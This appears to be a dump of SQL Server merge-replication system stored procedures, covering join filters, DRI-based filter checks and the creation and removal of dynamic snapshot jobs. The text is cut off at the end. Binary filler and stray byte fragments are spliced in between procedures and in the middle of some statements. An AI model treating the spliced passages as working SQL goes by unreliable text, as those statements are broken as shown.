    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_addmergefilter', @publication)
        goto FAILURE            
    end

    select @got_merge_admin_applock = 1
        
    if @snapshot_ready>0
    begin
        update dbo.sysmergepublications set snapshot_ready=2, 
            use_partition_groups = case when use_partition_groups = 1 then 2 else use_partition_groups end
        where pubid=@pubid
        if @@ERROR<>0
            goto FAILURE

        if @reinit = 1
        begin
            exec @retcode = sys.sp_MSreinitmergepublication
                                @publication = @publication,
                                @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0
                goto FAILURE
        end
    end

    /*
    **    Add the join filter to dbo.sysmergesubsetfilters if it is not already there
    */

    IF exists (select * from dbo.sysmergesubsetfilters 
    where filtername=@filtername and  pubid=@pubid and artid=@artid) 
        begin
            raiserror (20002, 16, -1, @filtername, @article, @publication)
            goto FAILURE
        end
    
    insert INTO dbo.sysmergesubsetfilters(filtername, pubid, artid, art_nickname, join_articlename, join_nickname, join_unique_key, join_filterclause, filter_type)
        values(@filtername, @pubid, @artid, @art_nickname, @join_articlename, @join_nickname, @join_unique_key, @join_filterclause, @filter_type)                  
    if @@error <> 0
        begin
            goto FAILURE
        end
        
    exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    execute @retcode = sys.sp_MSsubsetpublication @publication
    if @@ERROR <> 0 or @retcode <>0
        goto FAILURE
        
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    
    return (0)
    
FAILURE:
    if @@trancount > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        rollback tran addmergefilter
        commit tran
    end
    RAISERROR (20038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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(CFZig'vy3create procedure sys.sp_MSmakeorcheck_joinfilter_using_dri
    @publication    sysname,
    @article        sysname,
    @base_objid        int,
    @join_objid        int,
    @join_unique    int,
    @check_filter    bit=0,
    @join_filterclause nvarchar(1000)=NULL
    AS

    /* Declare additional variables */
    declare    @table_name nvarchar(140)
    declare    @join_table nvarchar(140)
    declare    @join_article sysname
    declare    @filt_name    sysname
    declare    @basecol    sysname
    declare    @joincol    sysname
    declare    @basecolid    int
    declare    @joincolid    int
    declare    @keycnt        int
    declare    @base_columns    varbinary(128)
    declare    @join_columns    varbinary(128)
    declare    @keyindex    int
    declare    @filtclause nvarchar(3000)
    declare    @filtpiece    nvarchar(500)
    declare    @qual_jointable nvarchar(270)
    declare    @retcode    smallint
    declare    @pubid        uniqueidentifier
    declare    @first_piece bit
    
    declare    @dri_rowcount int
    declare    @constid int
    declare    @base_nick int
    declare    @join_nick int
        
    if @check_filter = 1 and (@join_filterclause is null or @join_filterclause = N' ')
    begin
        raiserror (14043, 11, -1, '@join_filterclause', 'sp_MSmakeorcheck_joinfilter_using_dri')
        return (1)
    end
        
    select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    if @check_filter = 0
    begin
        -- making the filters, so consider only columns that are in vertical partition.
        select @base_columns=0x00 -- so that no base column name will be returned if following query does not find a match
        select @join_columns=0x00 -- same as above
        select @base_columns=columns from dbo.sysmergearticles where pubid=@pubid and objid=@base_objid
        select @join_columns=columns from dbo.sysmergearticles where pubid=@pubid and objid=@join_objid
    end
    else
    begin
        -- checking the filters, so check all columns. if dri happens to be on a column that has been excluded,
        -- then return error (can't have logical record relationship for that case).
        select @base_columns=NULL
        select @join_columns=NULL
    end
    
    /* Are we adding join filter on referencing table (@join_unique = 1) or on unique key table ? */
    if @join_unique = 1
        select @constid = object_id, 
               @keycnt = (select count(*) from sys.foreign_key_columns k where k.constraint_object_id = f.object_id), 
               @filt_name = object_name(object_id)
            from sys.foreign_keys f where f.parent_object_id = @base_objid and f.referenced_object_id = @join_objid
    else
        select @constid = object_id, 
               @keycnt = (select count(*) from sys.foreign_key_columns k where k.constraint_object_id = f.object_id), 
               @filt_name = object_name(object_id)
            from sys.foreign_keys f where f.referenced_object_id = @base_objid and f.parent_object_id = @join_objid
            
    select @dri_rowcount = @@rowcount
          
    /* Set up object names - we use them as correlation values */
    set @table_name = QUOTENAME(object_name(@base_objid))
    set @join_table = QUOTENAME(object_name(@join_objid))
    
    select @join_article = name, @join_nick = nickname from dbo.sysmergearticles 
    where objid = @join_objid and pubid=@pubid
    
    select @base_nick = nickname from dbo.sysmergearticles where pubid = @pubid and objid = @base_objid
    
    if @check_filter = 1
    begin
        if @dri_rowcount = 0
        begin
            raiserror(21570, 16, -1, @table_name, @join_table)
            return 1
        end
        
        if ObjectProperty(@constid, 'CnstIsDisabled') = 1 
        begin
            raiserror(21572, 16, -1, @filt_name, @table_name)
            return 1
        end
        
        if ObjectProperty(@constid, 'CnstIsNotRepl') = 1
        begin
            --raiserror(21573, 16, -1, @filt_name, @table_name)
            -- for better usability of feature, reset NFR instead of raising error
            exec @retcode = sys.sp_MSsetreset_NFR_FK @fkid = @constid, @set=0
            if @@error <> 0 or @retcode <> 0
                return 1
        end
        
        if exists    (
                        select * from sys.columns sc
                        where sc.object_id = @base_objid and --(sys.fn_IsTypeBlob(system_type_id,max_length)= 1)
                        (sc.system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml'))
                              or sc.max_length = -1)
                        and 
                        (exists (select * from dbo.sysmergearticles where nickname = @base_nick
                                and sys.fn_MSisfilteredcolumn(subset_filterclause, sc.name, @base_objid) = 1)
                            or exists (select * from dbo.sysmergesubsetfilters where (art_nickname = @base_nick or join_nickname = @base_nick)
                                and sys.fn_MSisfilteredcolumn(join_filterclause, sc.name, @base_objid) = 1 )                            
                        )
                    )
        or exists   (
                        select * from sys.columns sc
                        where sc.object_id = @join_objid and --(sys.fn_IsTypeBlob(system_type_id,max_length)= 1)
                        (sc.system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml'))
                              or sc.max_length = -1)
                        and 
                        (    exists (select * from dbo.sysmergearticles where nickname = @join_nick
                                and sys.fn_MSisfilteredcolumn(subset_filterclause, sc.name, @join_objid) = 1 )
                            or exists (select * from dbo.sysmergesubsetfilters where (art_nickname = @join_nick or join_nickname = @join_nick)
                                and sys.fn_MSisfilteredcolumn(join_filterclause, sc.name, @join_objid) = 1 )                            
                        )
                    )
        begin
            raiserror(22519, 16, -1, @table_name, @join_table)
            return 1
        end
        
    end
       
    -- set @qual_jointable = @join_owner + '.' + @join_table

    -- Loop over keys, building up our join filter clause
    set @keyindex = 1
    set @first_piece = 0
    while @keyindex <= @keycnt
    begin
        /* Get the column names */
        
        /* also pass in vertical partitioning binary to excluded columns that are not in the current partition */
        /*
        exec sys.sp_MSindexcolfrombin @base_objid, @keyindex, @basekeys, @basecol output, @base_columns
        if @@ERROR<>0 return (1)
        exec sys.sp_MSindexcolfrombin @join_objid, @keyindex, @joinkeys, @joincol output, @join_columns
        if @@ERROR<>0 return (1)
        */
        if @join_unique = 1
            select @basecolid = parent_column_id, @joincolid = referenced_column_id 
                from sys.foreign_keys f, sys.foreign_key_columns k 
                where f.parent_object_id = @base_objid and 
                      f.referenced_object_id = @join_objid and 
                      k.constraint_object_id = f.object_id and
                      k.constraint_column_id = @keyindex
        else
            select @basecolid = referenced_column_id, @joincolid = parent_column_id 
                from sys.foreign_keys f, sys.foreign_key_columns k 
                where f.parent_object_id = @join_objid and 
                      f.referenced_object_id = @base_objid and 
                      k.constraint_object_id = f.object_id and
                      k.constraint_column_id = @keyindex
                      
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<qDF3W-y3     if @base_columns is not NULL
        begin
            exec @retcode = sys.sp_MStestbit @bm=@base_columns, @coltotest=@basecolid
            if @retcode=0
                select @basecol = NULL
            else
                select @basecol = name from sys.columns where object_id = @base_objid and column_id = @basecolid
        end
        if @join_columns is not NULL
        begin
            exec @retcode = sys.sp_MStestbit @bm=@join_columns, @coltotest=@joincolid
            if @retcode=0
                select @joincol = NULL
            else
                select @joincol = name from sys.columns where object_id = @join_objid and column_id = @joincolid
        end
        
        if @basecol is not NULL and @joincol is not NULL
        begin
            if @check_filter = 0
            begin
                select @basecol = quotename(@basecol), @joincol = quotename(@joincol)
                -- Make filter
                /* Make the piece of predicate pertaining to this key column */
                set @filtpiece = @table_name + '.' + @basecol + ' = ' + @join_table + '.' + @joincol
                
                /* If first time through, initialize clause, else add to it */
                if @first_piece=0
                begin
                    set @first_piece=1
                    set @filtclause = @filtpiece
                end
                else
                    set @filtclause = @filtclause + ' and ' + @filtpiece
            end
            else
            begin
                -- Check filter. Filter should contain the 
                                
                if sys.fn_MSisfilteredcolumn(@join_filterclause, @basecol, @base_objid) = 0
                begin
                    raiserror(21537, 16, -1, @basecol, @table_name, @join_table)
                    return 1
                end
                
                if sys.fn_MSisfilteredcolumn(@join_filterclause, @joincol, @join_objid) = 0
                begin
                    raiserror(21537, 16, -1, @joincol, @join_table, @table_name)
                    return 1
                end
                
                if exists (select * from sys.columns where object_id = object_id(@table_name)
                            and name = @basecol and is_nullable = 1)
                begin
                    raiserror(21576, 16, -1, @table_name, @join_table, @basecol, @table_name)
                    return 1
                end
                
                if exists (select * from sys.columns where object_id = object_id(@join_table)
                            and name = @joincol and is_nullable = 1)
                begin
                    raiserror(21576, 16, -1, @table_name, @join_table, @joincol, @join_table)
                    return 1
                end
                
            end
        end
        /* move on to the next key */
        set @keyindex = @keyindex + 1
    end

    /* no filter generated due to vertical partitioning */
    if @first_piece>0 and @check_filter = 0
    begin
        /* Add the join filter */
       
        exec @retcode = sys.sp_addmergefilter @publication, @article, @filt_name, @join_article, @filtclause, @join_unique
        if @@ERROR<>0 or @retcode<>0 return (1)
        
        -- If the parent is well-partitioned, and the join_unique_key is 1, and there is only one
        -- join filter on this base article, then the base article can be well-partitioned as well.
        if @join_unique = 1 
            and exists (select * from dbo.sysmergepartitioninfoview 
                where pubid = @pubid 
                and objid = @join_objid
                and partition_options = 3)
            and exists (select * from dbo.sysmergesubsetfilters 
                            where pubid = @pubid
                            and art_nickname = @base_nick
                            group by art_nickname having count(*) = 1)
        begin
            exec @retcode = sys.sp_changemergearticle @publication, @article, 'partition_options', '3'
            if @@ERROR<>0 or @retcode<>0 return (1)
        end
        else if @join_unique = 1 
            and exists (select * from dbo.sysmergepartitioninfoview 
                where pubid = @pubid 
                and objid = @join_objid
                and partition_options = 2)
            and exists (select * from dbo.sysmergesubsetfilters 
                            where pubid = @pubid
                            and art_nickname = @base_nick
                            group by art_nickname having count(*) = 1)
        begin
            exec @retcode = sys.sp_changemergearticle @publication, @article, 'partition_options', '2'
            if @@ERROR<>0 or @retcode<>0 return (1)
        end
    end

    return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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ENISrvQd--
-- Name: sp_MSaddmergedynamicsnapshotjob
--
-- Description: This procedure sets up a SQL Server Agent job for dynamic 
--				snapshot generation and associates a row in 
--				MSdynamicsnapshotjobs for the job to the specified publication.
--
-- Notes: 1) If a local path is specified for the @dynamic_snapshot_location,
--			 the local path of the Distribution server will be used. 
--		  2) This procedure will not check whether the given path is already in
--			 use by another dynamic snapshot generation job. Sharing the same
--			 dynamic snapshot location among different dynamic snapshot 
--			 generation jobs can lead to file corruption and/or snapshot files 
--			 being overwritten.	 
--		  3) A regular snapshot job must be added for the publication before
--			 a dynamic snapshot generation job can be scheduled.
--		  4) This procedure will not check for the existence of the given
--			 dynamic snapshot location.
--		  5) The specified publication must be enabled for dynamic filtering.
--		  6) If @dynamic_snapshot_jobname is specified, it must be unique 
--			 among all the jobs at the distributor's msdb. If it is left
--			 unspecified, a job name will be generated according to the
--			 following rule:
--			 'dyn_' + (job name for the regular snapshot job) + (guid string)
--			 Note that (job name for the regular snapshot job) can be truncated
--			 if the resulting name is too long.
-- 
-- Parameters: @publication sysname (mandatory)
--			   @dynamic_filter_login sysname (optional, default null)
--			   @dynamic_filter_hostname sysname (optional, default null)
--			   @dynamic_snapshot_location nvarchar(255) (mandatory)
--			   @dynamic_snapshot_jobid (optional, output, default null)
--			   @dynamic_snapshot_jobname (optional, output, default null)
--			   Scheduling information:
--			   @frequency_type int (optional, default 4 == Daily)
--			   @frequency_interval int (optional, default 1 == Every day)
--			   @frequency_subday int (optional, default 4 (Sub interval = Minute))
--			   @frequency_subday_interval int (optional, default 5 == Every five minutes)
--			   @frequency_relative_interval int (optional, default 1) 
--			   @frequency_recurrence_factor int (optional, default 0) 
--			   @active_start_date int (optional, default 0 == Today)
--			   @active_end_date int (optional, default 99991231) 
--			   @active_start_time_of_day int (optional, default 0 == Now)
--			   @active_end_time_of_day int (optional, default 235959)
--
-- Returns: 0 - succeeded
--			1 - failed
--
-- Result set (upon successful completion of the operation):
--			dynamic_snapshot_jobname sysname
--			dynamic_snapshot_jobid uniqueidentifier
-- Security: Only members of the 'sysadmin' server role and members of the
--			 'db_owner' database role can invoke this procedure successfully.
--			 Security check is performed inside the procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSaddmergedynamicsnapshotjob (
    @publication sysname,
    @dynamic_filter_login sysname = null,
    @dynamic_filter_hostname sysname = null,
    @dynamic_snapshot_location nvarchar(255), 
    @dynamic_snapshot_jobname sysname = null output,
    @dynamic_snapshot_jobid uniqueidentifier = null output,
	@dynamic_job_step_uid uniqueidentifier = null output,
	
    -- Scheduling information
    @frequency_type				 int = 4,
    @frequency_interval			 int = 1,
    @frequency_subday			 int = 4,
    @frequency_subday_interval	 int = 5,
    @frequency_relative_interval int = 1, 
    @frequency_recurrence_factor int = 0,
    @active_start_date			 int = 0,
    @active_end_date			 int = 99991231,
    @active_start_time_of_day	 int = 0, 
    @active_end_time_of_day		 int = 235959,
    @dynamic_snapshot_agentid int = NULL output,
    @ignore_select bit = 0 -- reserved for internal use
    )
as
begin
    set nocount on

    declare @retcode int
    declare @pubid uniqueidentifier
    declare @dynamic_filters bit
    declare @snapshot_jobid uniqueidentifier 
    declare @command_line nvarchar(4000)
    declare @publisher sysname
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distributor sysname
    declare @fjobcreated bit
    declare @distproc nvarchar(4000)
    declare @id int 
    declare @partition_id int
    declare @snapshot_ready int
    declare @computed_dynsnap_location bit

    -- Initializations
    select @retcode = 0
    select @pubid = null
    select @dynamic_filters = 0
    select @snapshot_jobid = null
    select @fjobcreated = 0

    if object_id('sysmergepublications') is NULL
    begin
        raiserror (20054, 16, -1)
        return (1)
    end

    -- Make sure that caller is a member of the PAL role if suser_sname is not specified
    -- since this just adds a dynamic snaphsot job and uses the credentials of
    -- the regular snapshot job to do this this is not going to cause problems
    -- the job is added on the distributor and the distributor_admin is the owner
    -- of the job anyway.
    -- PAL users may need to call this when they initiate a snapshot from the client
    -- and the job does not already exist for it.
    -- however we don't want the PAL user to schedule a job with someone else's
    -- suser_sname. We cannot any protect against hostname spoofing
    if (@dynamic_filter_login is NULL) or (suser_sname() = @dynamic_filter_login)
    begin
    	exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    	if @@error <> 0 or @retcode <> 0
    		return (1)
    end
    else
    begin
    	exec @retcode = sys.sp_MSreplcheck_publish
    	if @@error <> 0 or @retcode <> 0
    		return (1)
    		
    	-- Check that the given dynammic filter login is in the PAL
    	exec @retcode = sys.sp_check_publication_access
    		@publication = @publication,
    		@given_login = @dynamic_filter_login
    	if @retcode <> 0 or @@error <> 0
    		return 1
    end

    -- Verify that the given publication exists and get the pubid at the
    -- same time
    select @pubid = pubid,
           @dynamic_filters = dynamic_filters,
           @snapshot_ready = snapshot_ready
      from dbo.sysmergepublications
     where upper(publisher) = upper(publishingservername())
       and publisher_db = db_name()
       and name = @publication

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication) 
        return (1)  
    end

    if @snapshot_ready <> 1
    begin
        raiserror (21075, 11, -1, @publication)
        return (1)
    end

    -- The given publication must be enabled for dynamic filtering
    if @dynamic_filters <> 1
    begin
        raiserror(20674, 16, -1)
        return (1)
    end
   
    exec @retcode = sys.sp_MScheck_dynamic_filtering_information 
                        @pubid = @pubid, 
                        @dynamic_filter_hostname = @dynamic_filter_hostname,
                        @dynamic_filter_login = @dynamic_filter_login
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end

    -- A regular snapshot job is required before a dynamic snapshot job
    -- can be scheduled
    select @snapshot_jobid = snapshot_jobid from dbo.sysmergepublications
     where pubid = @pubid
    if @snapshot_jobid is null
    begin
        raiserror(21324, 16, -1)
        return (1)
    end

    -- The given dynamic snapshot job name cannot be '%' and it cannot match
    -- any of the existing dynamic snapshot job name
    if @dynamic_snapshot_jobname = '%'
    begin
    	raiserror(21327, 16, -1)
    	return (1)
    end

    if exists (select * 
                from MSdynamicsnapshotjobs 
                where name = @dynamic_snapshot_jobname)
    begin
        raiserror(21328, 16, -1, @dynamic_snapshot_jobname)
        return (1)
    end	   

    -- check to make sure that the login and hostname m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`< FNIH\h~Qdap to a valid partition id
    select @partition_id = -1
    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                            @publication = @publication, 
                            @partition_id = @partition_id OUTPUT,
                            @maxgen_whenadded = NULL,
                            @host_name_override = @dynamic_filter_hostname,
                            @suser_sname_override = @dynamic_filter_login
    if @@error <> 0 or @retcode <> 0 or @partition_id is NULL or @partition_id = -1
    begin
        raiserror(20629, 16, -1)
        return 1
    end

    select @dynamic_snapshot_location = ltrim(@dynamic_snapshot_location)
    -- Specified @dynamic_snapshot_location must be non-empty
    if @dynamic_snapshot_location is null or 
       @dynamic_snapshot_location = N''
    begin
        --raiserror(21321, 16, -1)		 
        --return (1)
        -- if the dynamic snapshot location is empty choose the location based on the publication information
        exec @retcode = sys.sp_MSgetpartitionsnapshotfolder 
                                    @publication, 
                                    @dynamic_filter_login, 
                                    @dynamic_filter_hostname,
                                    @partition_id,
                                    @dynamic_snapshot_location output
        if @@error <> 0 or @retcode <> 0
        begin
            raiserror(20631, 16, -1)
            return 1
        end
        select @computed_dynsnap_location = 1
    end
    else
    begin
        select @computed_dynsnap_location = 0
    end


    -- Get distributor information for RPC
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output,
                                           @distribdb = @distribdb output,
                                           @rpcsrvname = @rpcsrvname output
    if @@error <> 0 or @retcode <> 0
        return (1)

    if exists (select * 
                from MSdynamicsnapshotjobs 
                where pubid = @pubid and 
                ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
                ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname))
    begin
        declare @dynamic_snap_jobid uniqueidentifier
        declare @publisher_db sysname
        
        select @dynamic_snap_jobid = null
        select @publisher_db = db_name()
        
        select @distproc = QUOTENAME(rtrim(@rpcsrvname)) + N'.' + QUOTENAME(@distribdb) + N'.' + N'dbo.sp_MSdynamicsnapshotjobexistsatdistributor'

        select @publisher = publishingservername()
        exec @retcode = @distproc 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @dynamic_filter_login = @dynamic_filter_login,
                @dynamic_filter_hostname = @dynamic_filter_hostname,
                @dynamic_snapshot_jobid = @dynamic_snap_jobid output

        if @retcode <> 0 or @@error <> 0
            goto Failure

        if (@dynamic_snap_jobid is not null)
        begin
	     raiserror(20630, 16, -1, @publication)
            return (1)
        end

        exec sp_dropdynamicsnapshot_job @publication = @publication,
            @dynamic_snapshot_jobname = '%',
            @dynamic_snapshot_jobid = @dynamic_snap_jobid
    end
    
    select @distproc = QUOTENAME(rtrim(@rpcsrvname)) + N'.' + QUOTENAME(@distribdb) + N'.' + N'dbo.sp_MSadddynamicsnapshotjobatdistributor'

    exec @retcode = @distproc 
        @regular_snapshot_jobid = @snapshot_jobid,
        @dynamic_filter_login = @dynamic_filter_login,
        @dynamic_filter_hostname = @dynamic_filter_hostname,
        @dynamic_snapshot_location = @dynamic_snapshot_location,
        @dynamic_snapshot_jobname = @dynamic_snapshot_jobname output,
        @dynamic_snapshot_jobid = @dynamic_snapshot_jobid output,
        @dynamic_snapshot_job_step_uid = @dynamic_job_step_uid output,
        @freqtype = @frequency_type,
        @freqinterval = @frequency_interval,
        @freqsubtype = @frequency_subday,
        @freqsubinterval = @frequency_subday_interval,
        @freqrelativeinterval = @frequency_relative_interval,
        @freqrecurrencefactor = @frequency_recurrence_factor,
        @activestartdate = @active_start_date,
        @activeenddate = @active_end_date,
        @activestarttimeofday = @active_start_time_of_day,
        @activeendtimeofday = @active_end_time_of_day,
        @dynamic_snapshot_agent_id = @dynamic_snapshot_agentid output,
        @partition_id = @partition_id

    if @retcode <> 0 or @@error <> 0
        goto Failure

    select @fjobcreated = 1

    insert MSdynamicsnapshotjobs 
    (name, pubid, job_id, agent_id, dynamic_filter_login, dynamic_filter_hostname, 
     dynamic_snapshot_location, partition_id, computed_dynsnap_location)
    values
    (@dynamic_snapshot_jobname, @pubid, @dynamic_snapshot_jobid, @dynamic_snapshot_agentid,
     @dynamic_filter_login, @dynamic_filter_hostname, 
     @dynamic_snapshot_location, @partition_id, @computed_dynsnap_location)	

    if @@error <> 0
    begin
        goto Failure
    end

    select @id = @@identity	   

    if @ignore_select = 0
        select 'id'                       = @id,
               'dynamic_snapshot_jobname' = @dynamic_snapshot_jobname,
               'dynamic_snapshot_jobid'   = @dynamic_snapshot_jobid
    return 0

Failure:
    if @fjobcreated = 1
    begin
        select @distproc = quotename(rtrim(@rpcsrvname)) + N'.' + quotename(@distribdb) + N'.' + N'dbo.sp_MSdrop_repl_job'
        exec @distproc @job_id = @dynamic_snapshot_jobid, @job_step_uid = @dynamic_job_step_uid
    end
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(GIPPvoK--
-- Name: sp_MSdropmergedynamicsnapshotjob
--
-- Description: This procedure drops a scheduled dynamic snapshot job for
--				a publication and the associated meta-data in 
--				MSdynamicsnapshotjobs. This procedure will also remove all 
--				files in the associated dynamic snapshot location.
--
-- Parameters: @publication sysname (mandatory)
--			   @dynamic_snapshot_jobname (optional, default '%')
--			   @dynamic_snapshot_jobid uniqueidentifier (optional, default 
--			   null) When @dynamic_snapshot_jobid is null and 
--			   @dynamic_snapshot_jobname is '%', all dynamic snapshot
--			   jobs for the specified publication will be dropped.
--			   @ignore_distributor bit (optional, default 0) 
--
-- Notes: 1) At most one of @dynamic_snapshot_jobid and 
--			 @dynamic_snapshot_jobname can be specified with a non-default 
--			 value.
--			 
-- Returns: 0 - succeeded
--			1 - failed
--
-- Security: Only members of the 'sysadmin' server role and the 'db_owner'	
-- database role can execute this procedure successfully even though execute
-- permission of this procedure is granted to public.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSdropmergedynamicsnapshotjob (
    @publication sysname,
    @dynamic_snapshot_jobname sysname = '%',
    @dynamic_snapshot_jobid uniqueidentifier = null,
    @ignore_distributor bit = 0
)
as
begin
    set nocount on

    declare @retcode int
    declare @pubid uniqueidentifier
    declare @dynamic_snapshot_location nvarchar(255)
    declare @guidstr nvarchar(40)
    declare @dynamic_snapshot_jobid_from_cursor uniqueidentifier
    declare @dir nvarchar(4000)

    declare @distributor sysname
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distproc nvarchar(4000)
    declare @publisher sysname
    declare @publisher_db sysname
    declare @agent_id int
    declare @backward_comp_level int
    declare @dynamic_filter_login sysname
    declare @dynamic_filter_hostname sysname
    declare @partition_id int

    select @retcode = 0
    select @pubid = null
    select @dynamic_snapshot_location = null
    select @publisher = publishingservername()
    select @publisher_db = db_name()


    if object_id('sysmergepublications') is NULL
    begin
        raiserror (20054, 16, -1)
        return (1)
    end

    -- Make sure that caller is a member of 'sysadmins' or 'db_owner'
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)

    select @pubid = pubid,
           @backward_comp_level = backward_comp_level 
      from dbo.sysmergepublications 
     where name = @publication
       and upper(publisher) = upper(publishingservername())
       and publisher_db = db_name()

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end

    -- At most one of @dynamic_snapshot_jobid and @dynamic_snapshot_jobname
    -- can be specified with a non-default value
    if @dynamic_snapshot_jobid is not null and
       @dynamic_snapshot_jobname <> N'%'
    begin
        raiserror(21329, 16, -1)
        return (1)
    end

    if @dynamic_snapshot_jobid is null and @dynamic_snapshot_jobname = N'%'
    begin

        declare hJobsCursor cursor local fast_forward for
            select job_id 
              from MSdynamicsnapshotjobs 
              where pubid = @pubid
        if @@error <> 0
            return 1

        open hJobsCursor 
        if @@error <> 0
            return 1


        fetch hJobsCursor into @dynamic_snapshot_jobid_from_cursor 
          
        begin transaction
        save transaction sp_MSdropdynamicsnapshotjobC

        while (@@fetch_status <> -1)
        begin
            if @dynamic_snapshot_jobid_from_cursor is not null
            begin
                exec @retcode = sys.sp_MSdropmergedynamicsnapshotjob 
                                    @publication = @publication,
                                    @dynamic_snapshot_jobid = @dynamic_snapshot_jobid_from_cursor,
                                    @ignore_distributor = @ignore_distributor
                if @@error <> 0 or @retcode <> 0
                    goto CursorFailure
            end
            fetch hJobsCursor into @dynamic_snapshot_jobid_from_cursor
        end

        commit transaction
        close hJobsCursor
        deallocate hJobsCursor		  
        return 0
    CursorFailure:


        rollback transaction sp_MSdropdynamicsnapshotjobC
        commit transaction
        close hJobsCursor
        deallocate hJobsCursor
        return 1
    end

    select @pubid = pubid 
      from dbo.sysmergepublications 
     where name = @publication
       and upper(publisher) = upper(publishingservername())
       and publisher_db = db_name()

    if @dynamic_snapshot_jobid is null
    begin	
        select @dynamic_snapshot_location = dynamic_snapshot_location,
               @dynamic_snapshot_jobid = job_id,
               @dynamic_filter_login = dynamic_filter_login,
               @dynamic_filter_hostname = dynamic_filter_hostname,
               @partition_id = @partition_id,
               @agent_id = agent_id
          from dbo.MSdynamicsnapshotjobs
         where pubid = @pubid
           and name = @dynamic_snapshot_jobname 
    end
    else 
    begin
        select @dynamic_snapshot_location = dynamic_snapshot_location,
               @dynamic_filter_login = dynamic_filter_login,
